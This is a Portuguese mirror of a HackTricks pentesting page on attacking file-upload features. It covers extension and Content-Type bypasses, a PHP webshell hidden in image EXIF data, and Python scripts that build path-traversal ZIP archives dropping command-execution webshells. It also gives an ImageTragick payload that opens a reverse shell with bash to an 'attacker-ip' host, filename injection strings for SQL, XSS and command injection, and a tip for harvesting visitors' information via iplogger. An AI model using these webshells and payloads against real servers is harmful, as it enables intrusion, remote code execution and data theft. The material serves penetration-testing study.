mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-01 00:49:40 +00:00
304 lines
22 KiB
Markdown
304 lines
22 KiB
Markdown
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
|
||
# Metodologia Geral de Upload de Arquivos
|
||
|
||
1. Tente fazer o upload de um arquivo com uma **dupla extensão** \(ex: _file.png.php_ ou _file.png.php5_\).
|
||
* Extensões PHP: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, ._phps_, ._pht_, _.phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc_
|
||
* Extensões ASP: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml_
|
||
2. Tente **colocar em maiúscula alguma\(s\) letra\(s\) da extensão**. Por exemplo: _.pHp, .pHP5, .PhAr ..._
|
||
3. Tente fazer o upload de alguma **dupla \(ou mais\) extensão** \(útil para burlar verificações mal configuradas que testam se uma extensão específica está presente\):
|
||
1. _file.png.php_
|
||
2. _file.png.txt.php_
|
||
4. Tente fazer o upload de alguma **dupla extensão invertida** \(útil para explorar más configurações do Apache onde qualquer coisa com a extensão _.php_, mas **não necessariamente terminando em .php**, executará código\):
|
||
* _ex: file.php.png_
|
||
5. Dupla extensão com **caractere nulo:**
|
||
1. _ex: file.php%00.png_
|
||
6. **Adicione alguns caracteres especiais no final** da extensão_: %00, %20, \(vários pontos\)...._
|
||
1. _file.php%00_
|
||
2. _file.php%20_
|
||
3. _file.php...... --> No Windows, quando um arquivo é criado com pontos no final, eles serão removidos \(assim você pode burlar filtros que verificam a extensão .php\)
|
||
4. _file.php/_
|
||
5. _file.php.\_
|
||
7. Bypass em verificações de Content-Type definindo o **valor** do **header Content-Type** para: _image/png_, _text/plain_, application/octet-stream_
|
||
8. Bypass na verificação de magic number adicionando no início do arquivo os **bytes de uma imagem real** \(confundir o comando _file_\). Ou introduza o shell nos **metadados**: `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`
|
||
1. Também é possível que os **bytes mágicos** estejam sendo apenas **verificados** no arquivo e você pode defini-los **em qualquer lugar do arquivo**.
|
||
9. Usando **fluxo de dados alternativo NTFS \(ADS\)** no **Windows**. Nesse caso, um caractere de dois pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor \(por exemplo, "file.asax:.jpg"\). Esse arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome curto. O padrão "**::$data**" também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para burlar restrições adicionais \(por exemplo, "file.asp::$data."\)
|
||
10. **Faça o upload** da backdoor com uma **extensão permitida** \(_png_\) e torça por uma **má configuração** que execute a backdoor
|
||
11. Encontre uma vulnerabilidade para **renomear** o arquivo já enviado \(para alterar a extensão\).
|
||
12. Encontre uma vulnerabilidade de **Inclusão de Arquivo Local** para executar a backdoor.
|
||
13. **Possível divulgação de informações**:
|
||
1. Faça o upload **várias vezes** \(e ao **mesmo tempo**\) do **mesmo arquivo** com o **mesmo nome**
|
||
2. Faça o upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
|
||
3. Faça o upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
|
||
4. Faça o upload de um arquivo que não possa ser facilmente excluído, como **“…:.jpg”** no **NTFS**. \(Windows\)
|
||
5. Faça o upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. \(Windows\)
|
||
6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** \(**proibidos**\) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
|
||
|
||
Tente também **fazer o upload de um executável** \(.exe\) ou um **.html** \(menos suspeito\) que **executará código** quando aberto acidentalmente pela vítima.
|
||
|
||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files" %}
|
||
|
||
Se você está tentando fazer o upload de arquivos para um servidor **PHP**, [dê uma olhada no truque do **.htaccess** para executar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).
|
||
Se você está tentando fazer o upload de arquivos para um servidor **ASP**, [dê uma olhada no truque do **.config** para executar código](../pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||
Os arquivos `.phar` são como os arquivos `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo PHP** (executando-o com o PHP ou incluindo-o em um script...).
|
||
|
||
A extensão `.inc` é às vezes usada para arquivos PHP que são apenas usados para **importar arquivos**, então, em algum momento, alguém pode ter permitido **a execução dessa extensão**.
|
||
|
||
**Verifique muitas possíveis vulnerabilidades de upload de arquivos com o plugin BurpSuit** [**https://github.com/modzero/mod0BurpUploadScanner**](https://github.com/modzero/mod0BurpUploadScanner) **ou use um aplicativo de console que encontra quais arquivos podem ser enviados e tenta diferentes truques para executar código:** [**https://github.com/almandin/fuxploider**](https://github.com/almandin/fuxploider)
|
||
|
||
## **Truque de Upload de Arquivo/SSRF com wget**
|
||
|
||
Em algumas ocasiões, você pode descobrir que um servidor está usando o **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nestes casos, o código pode estar verificando se a extensão dos arquivos baixados está em uma lista branca para garantir que apenas arquivos permitidos serão baixados. No entanto, **essa verificação pode ser contornada**.
|
||
O **comprimento máximo** de um **nome de arquivo** no **Linux** é **255**, no entanto, o **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, este nome de arquivo irá **burlar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**), mas o `wget` irá **renomear** o arquivo para **"A"\*232+".php"**.
|
||
```bash
|
||
#Create file and HTTP server
|
||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||
python3 -m http.server 9080
|
||
```
|
||
|
||
```bash
|
||
#Download the file
|
||
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||
The name is too long, 240 chars total.
|
||
Trying to shorten...
|
||
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
|
||
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
|
||
Connecting to 127.0.0.1:9080... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 10 [image/gif]
|
||
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
|
||
|
||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
|
||
|
||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||
```
|
||
Observe que **outra opção** que você pode estar pensando para contornar essa verificação é fazer com que o **servidor HTTP redirecione para um arquivo diferente**, para que a URL inicial contorne a verificação e, em seguida, o wget faça o download do arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names`, porque o wget fará o download da página redirecionada com o nome do arquivo indicado na URL original.
|
||
|
||
# Da transferência de arquivos para outras vulnerabilidades
|
||
|
||
* Defina o **nome do arquivo** como `../../../tmp/lol.png` e tente obter uma **travessia de diretório**
|
||
* Defina o **nome do arquivo** como `sleep(10)-- -.jpg` e você pode conseguir uma **injeção de SQL**
|
||
* Defina o **nome do arquivo** como `<svg onload=alert(document.comain)>` para obter um XSS
|
||
* Defina o **nome do arquivo** como `; sleep 10;` para testar alguma injeção de comando \(mais [trapaças de injeção de comando aqui](command-injection.md)\)
|
||
* [**XSS** em upload de arquivo de imagem \(svg\)](xss-cross-site-scripting/#xss-uploading-files-svg)
|
||
* Upload de arquivo **JS** + **XSS** = [exploração de **Service Workers**](xss-cross-site-scripting/#xss-abusing-service-workers)
|
||
* [**XXE em upload de svg**](xxe-xee-xml-external-entity.md#svg-file-upload)
|
||
* [**Redirecionamento aberto** através do upload de arquivo svg](open-redirect.md#open-redirect-uploading-svg-files)
|
||
* [Famosa vulnerabilidade de **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||
* Se você puder **indicar ao servidor web para capturar uma imagem de uma URL**, você pode tentar abusar de um [SSRF](ssrf-server-side-request-forgery.md). Se essa **imagem** for ser **salva** em algum site **público**, você também pode indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de todos os visitantes**.
|
||
|
||
Aqui está uma lista dos 10 principais itens que você pode alcançar fazendo upload \(de [link](https://twitter.com/SalahHasoneh1/status/1281274120395685889)\):
|
||
|
||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||
2. **SVG**: XSS armazenado / SSRF / XXE
|
||
3. **GIF**: XSS armazenado / SSRF
|
||
4. **CSV**: Injeção de CSV
|
||
5. **XML**: XXE
|
||
6. **AVI**: LFI / SSRF
|
||
7. **HTML / JS**: Injeção de HTML / XSS / Redirecionamento aberto
|
||
8. **PNG / JPEG**: Ataque de inundação de pixels \(DoS\)
|
||
9. **ZIP**: RCE via LFI / DoS
|
||
10. **PDF / PPTX**: SSRF / XXE cego
|
||
|
||
# Upload de arquivo ZIP descompactado automaticamente
|
||
|
||
Se você puder fazer upload de um arquivo ZIP que será descompactado dentro do servidor, você pode fazer 2 coisas:
|
||
|
||
## Symlink
|
||
|
||
Faça o upload de um link contendo links simbólicos para outros arquivos e, em seguida, ao acessar os arquivos descompactados, você acessará os arquivos vinculados:
|
||
```text
|
||
ln -s ../../../index.php symindex.txt
|
||
zip --symlinks test.zip symindex.txt
|
||
```
|
||
## Descompactar em pastas diferentes
|
||
|
||
Os arquivos descompactados serão criados em pastas inesperadas.
|
||
|
||
Pode-se facilmente assumir que essa configuração protege contra a execução de comandos em nível de sistema operacional por meio de uploads maliciosos de arquivos, mas infelizmente isso não é verdade. Como o formato de arquivo ZIP suporta compressão hierárquica e também podemos fazer referência a diretórios de níveis superiores, podemos escapar do diretório seguro de upload abusando da funcionalidade de descompactação do aplicativo alvo.
|
||
|
||
Um exploit automatizado para criar esse tipo de arquivo pode ser encontrado aqui: [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc)
|
||
```python
|
||
python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||
```
|
||
```python
|
||
import zipfile
|
||
|
||
def create_malicious_zip(file_path, payload):
|
||
with zipfile.ZipFile(file_path, 'w') as zip_file:
|
||
zip_file.writestr('../payload.php', payload)
|
||
|
||
file_path = 'malicious.zip'
|
||
payload = '<?php system($_GET["cmd"]); ?>'
|
||
|
||
create_malicious_zip(file_path, payload)
|
||
```
|
||
|
||
This Python code creates a malicious ZIP file by using the `zipfile` module. The `create_malicious_zip` function takes two parameters: `file_path` and `payload`.
|
||
|
||
Inside the function, a ZIP file is created using the `zipfile.ZipFile` constructor. The `writestr` method is then used to add a file named `../payload.php` to the ZIP file, with the contents being the `payload` provided.
|
||
|
||
The `file_path` variable specifies the name and path of the resulting malicious ZIP file, while the `payload` variable contains the PHP code that will be executed when the `payload.php` file is accessed.
|
||
|
||
To use this code, simply call the `create_malicious_zip` function with the desired `file_path` and `payload` values.
|
||
```python
|
||
#!/usr/bin/python
|
||
import zipfile
|
||
from cStringIO import StringIO
|
||
|
||
def create_zip():
|
||
f = StringIO()
|
||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||
z.writestr('otherfile.xml', 'Content of the file')
|
||
z.close()
|
||
zip = open('poc.zip','wb')
|
||
zip.write(f.getvalue())
|
||
zip.close()
|
||
|
||
create_zip()
|
||
```
|
||
Para obter a execução remota de comandos, segui os seguintes passos:
|
||
|
||
1. Criar um shell PHP:
|
||
```php
|
||
<?php
|
||
if(isset($_REQUEST['cmd'])){
|
||
$cmd = ($_REQUEST['cmd']);
|
||
system($cmd);
|
||
}?>
|
||
```
|
||
2. Use "file spraying" and create a compressed zip file:
|
||
|
||
2. Use a técnica de "file spraying" e crie um arquivo zip compactado:
|
||
```text
|
||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||
root@s2crew:/tmp# ls *.php
|
||
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||
adding: xxAcmd.php (deflated 40%)
|
||
adding: xxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
root@s2crew:/tmp#
|
||
```
|
||
3. Use um hexeditor ou vi e altere "xxA" para "../", eu usei vi:
|
||
```text
|
||
:set modifiable
|
||
:%s/xxA/..\//g
|
||
:x!
|
||
```
|
||
Apenas um passo restou: Faça o upload do arquivo ZIP e permita que a aplicação o descompacte! Se tiver sucesso e o servidor web tiver privilégios suficientes para gravar nos diretórios, haverá um shell simples de execução de comandos do sistema:
|
||
|
||
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
|
||
|
||
**Referência**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||
|
||
## Descompactar com um nome diferente
|
||
|
||
Às vezes, uma aplicação bloqueará o carregamento de um arquivo verificando sua extensão dentro do arquivo zip. Se essa verificação for superficial, ou seja, verificando o nome do arquivo dentro do cabeçalho do campo local, ela pode ser contornada fazendo com que a aplicação acredite que o arquivo tenha essa extensão, enquanto terá outra quando descompactado.
|
||
|
||
Podemos reutilizar o script anterior para criar um arquivo zip.
|
||
```python
|
||
import zipfile
|
||
from io import BytesIO
|
||
|
||
def create_zip():
|
||
f = BytesIO()
|
||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||
z.close()
|
||
zip = open('poc.zip','wb')
|
||
zip.write(f.getvalue())
|
||
zip.close()
|
||
|
||
create_zip()
|
||
```
|
||
Observe que o nome contém um espaço. Agora você pode editar o arquivo zip gerado com um editor hexadecimal e alterar esse caractere no campo nome localizado dentro do Cabeçalho do Diretório Central para um byte nulo `00`:
|
||
```bash
|
||
# before changing the name of the file inside the Central Directory header
|
||
00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064 ...shell.php .pd
|
||
# after changing the name of the file inside the Central Directory header
|
||
00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064 ...shell.php..pd
|
||
```
|
||
Quando a aplicação verificará o nome do arquivo dentro do zip, o nome usado para essa verificação será o nome do cabeçalho do arquivo local, **mas não se o zip estiver criptografado** (consulte a especificação pkzip). O nome usado para armazenar o arquivo será o nome do cabeçalho do diretório central quando o 7z ou unzip perceberem uma diferença entre os dois nomes. Graças ao byte nulo, o nome será `shell.php`.
|
||
|
||
Quando descompactado:
|
||
```bash
|
||
7z e poc.zip
|
||
ls
|
||
shell.php
|
||
```
|
||
**Referências**:
|
||
|
||
[https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html](https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html)
|
||
|
||
[https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
|
||
|
||
# ImageTragic
|
||
|
||
Faça o upload deste conteúdo com uma extensão de imagem para explorar a vulnerabilidade **\(ImageMagick, 7.0.1-1\)**.
|
||
```text
|
||
push graphic-context
|
||
viewbox 0 0 640 480
|
||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||
pop graphic-context
|
||
```
|
||
# Incorporando um Shell PHP em PGN
|
||
|
||
A principal razão para colocar um shell web no chunk IDAT é que ele tem a capacidade de contornar operações de redimensionamento e reamostragem - o PHP-GD contém duas funções para isso [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) e [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
|
||
|
||
Leia este post: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||
|
||
# Arquivos Poliglotas
|
||
|
||
Poliglotas, em um contexto de segurança, são arquivos que são uma forma válida de vários tipos diferentes de arquivos. Por exemplo, um [GIFAR](https://en.wikipedia.org/wiki/Gifar) é tanto um arquivo GIF quanto um arquivo RAR. Existem também arquivos que podem ser tanto GIF quanto JS, tanto PPT quanto JS, etc.
|
||
|
||
Arquivos poliglotas são frequentemente usados para contornar proteções baseadas em tipos de arquivo. Muitos aplicativos que permitem que os usuários façam upload de arquivos só permitem uploads de certos tipos, como JPEG, GIF, DOC, para evitar que os usuários façam upload de arquivos potencialmente perigosos como arquivos JS, arquivos PHP ou arquivos Phar.
|
||
|
||
Isso ajuda a fazer upload de um arquivo que está em conformidade com o formato de vários formatos diferentes. Isso permite que você faça upload de um arquivo PHAR (PHp ARchive) que também parece um JPEG, mas provavelmente você ainda precisará de uma extensão válida e se a função de upload não permitir isso, isso não ajudará você.
|
||
|
||
Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||
|
||
|
||
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|